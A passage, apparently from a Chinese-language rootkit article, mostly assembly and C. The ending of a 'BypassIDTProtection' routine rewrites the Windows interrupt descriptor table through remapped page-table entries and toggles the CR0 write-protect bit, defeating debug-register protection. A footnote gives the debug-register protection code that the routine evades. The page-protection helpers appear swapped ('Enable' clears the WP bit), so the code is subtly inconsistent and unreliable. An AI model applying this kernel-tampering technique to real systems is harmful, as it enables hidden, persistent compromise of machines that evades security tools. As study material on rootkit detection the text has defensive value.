;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器
mov eax,varbase mov dword ptr [eax+ebx],0DEADBEEFh
mov eax,varPDEaddr ;恢复原来的值 mov ebx,varPDE mov [eax],ebx
mov eax,varPTEaddr ;恢复原来的值 mov ebx,varPTE mov [eax],ebx
invoke EnablePageProtection ;恢复CR0寄存器的WP标志
sti
popad ret
BypassIDTProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EnablePageProtection PROC
push eax mov eax,CR0 and eax,0FFFEFFFFh mov CR0,eax pop eax ret
EnablePageProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DisablePageProtection PROC
push eax mov eax,CR0 or eax,NOT 0FFFEFFFFh mov CR0,eax pop eax ret
DisablePageProtection ENDP ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[Rootkit的未来]
很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。
[参考]
[1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术) [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2 [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3
注1:
这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码:
#define DB_PROT_EXEC 0 #define DB_PROT_WRITE 1 #define DB_PROT_RW 3
#define DB_DR0 0 #define DB_DR1 1 #define DB_DR2 2 #define DB_DR3 3
#define DB_LEN_1B 0 #define DB_LEN_2B 1 #define DB_LEN_4B 3
int dbProtect (int reg, int addr, int len, int protection) { unsigned int dr7mask;
switch (reg) { case 0: __asm { mov eax, addr; mov DR0, eax; } break; case 1: __asm { mov eax, addr; mov DR1, eax; } break; case 2: __asm { mov eax, addr; mov DR2, eax; } break; case 3: __asm { mov eax, addr; mov DR3, eax; } break; }
dr7mask = 0x2<<(reg*2); dr7mask |= (( (len<<2) + protection) << (16+(4*reg))); __asm { mov eax, DR7; or eax, dr7mask; mov DR7, eax; }
return 1; }
int dbSetGeneralProtection () {
__asm { mov eax, DR7; or eax, 0x1000; mov DR7, eax; }
return 1; }
然后在中断处理程序中还要加入下面几句代码: mov eax, DR6; test ax, 0x100f; // BD |B3|B2|B1|B0 . . mov eax, DR6; // 检查DR6的BS(单步)位 test ah, 0x40;
最后决定对3个地址进行不同程度的保护: dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);
对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节。
|